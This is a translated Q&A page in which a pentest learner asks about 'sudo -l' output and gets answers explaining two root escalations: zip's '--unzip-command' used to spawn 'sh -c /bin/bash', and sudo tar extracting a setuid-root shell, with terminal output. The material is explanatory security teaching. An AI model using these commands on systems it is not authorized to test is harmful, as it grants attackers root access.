了解 sudo 和可能的利用

了解 sudo 和可能的利用

我正在进行一些笔测试并遵循一些指南来了解该行业的工具。我跟着导游这里除了最后一页我都明白了。

我需要sudo -l以下帮助理解。我知道它详细说明了当前用户可以做什么。但是,下面的输出是什么意思呢?

在此输入图像描述

那么下面的命令(不包括触摸)怎么样?这让我有点困惑,因为运行该命令(利用?)后,我能够获得 root 权限。

在此输入图像描述

根据我的理解,该行是说以 root 身份运行命令或提升到 root,压缩名为exploit的文件,并将其放置在 tmp/exploit 中。我相信我错了,但这就是我对这条线的理解的终点。

我对如何使用该命令获得 root 权限以及该行正在做什么感到困惑。

答案1

对于您的第一个问题,指定的输出行告诉您您可以以 root 用户身份运行/bin/tar/usr/bin/zipvia sudo,甚至不需要提供zico的密码。

zip对于你的第二个问题,我们从的手册页得到答案:

   --unzip-command cmd
          Use command cmd instead of 'unzip -tqq' to test an archive when the -T option is used.

因此,由于您有权zip通过 root 用户身份运行sudo,因此该漏洞利用只是告诉您zip“嘿,当您测试此存档时,请使用该命令sh -c /bin/bash来测试它,好吗?”它会很有帮助,为您提供 root shell。

exploit文件只是提供zip一些要压缩的东西,以便有一些东西可以“测试”。它从来都不是跑步或任何东西,实际上在您的演示中只是一个空文件。

$ sudo -u root zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

指示sudo以 root 用户身份运行以下命令:

$ zip /tmp/exploit.zip /tmp/exploit -T --unzip-command="sh -c /bin/bash"

此命令将获取该文件/tmp/exploit并将其放入新的存档/tmp/exploit.zip.开关-T告知zip然后时间测试存档的完整性,--unzip-command开关正在告诉我们zip 如何测试存档。最后一件事是实际的利用:因为zip是以 root 身份运行的,所以运行时sh -c /bin/bash会给你一个 root 用户的 shell。

答案2

即使没有zip,该tar命令也可以用来破坏东西。您所需要的只是一个包含 setuid root 程序的 tar 文件,然后就tar xfp可以了。

例如,如果我可以使用 ksh93 和 setuid root 创建 tarball,那么我可以获得 root 权限

$ tar tvf ../foo.tar
-rwsr-xr-x root/root   1519024 2018-11-08 21:32 ksh93
$ sudo tar xvfp ../foo.tar 
ksh93
$ ./ksh93 -c id
uid=500(sweh) gid=500(sweh) euid=0(root) groups=500(sweh),10(wheel),13(news)
$ 

发现euid..我有有效的root。

相关内容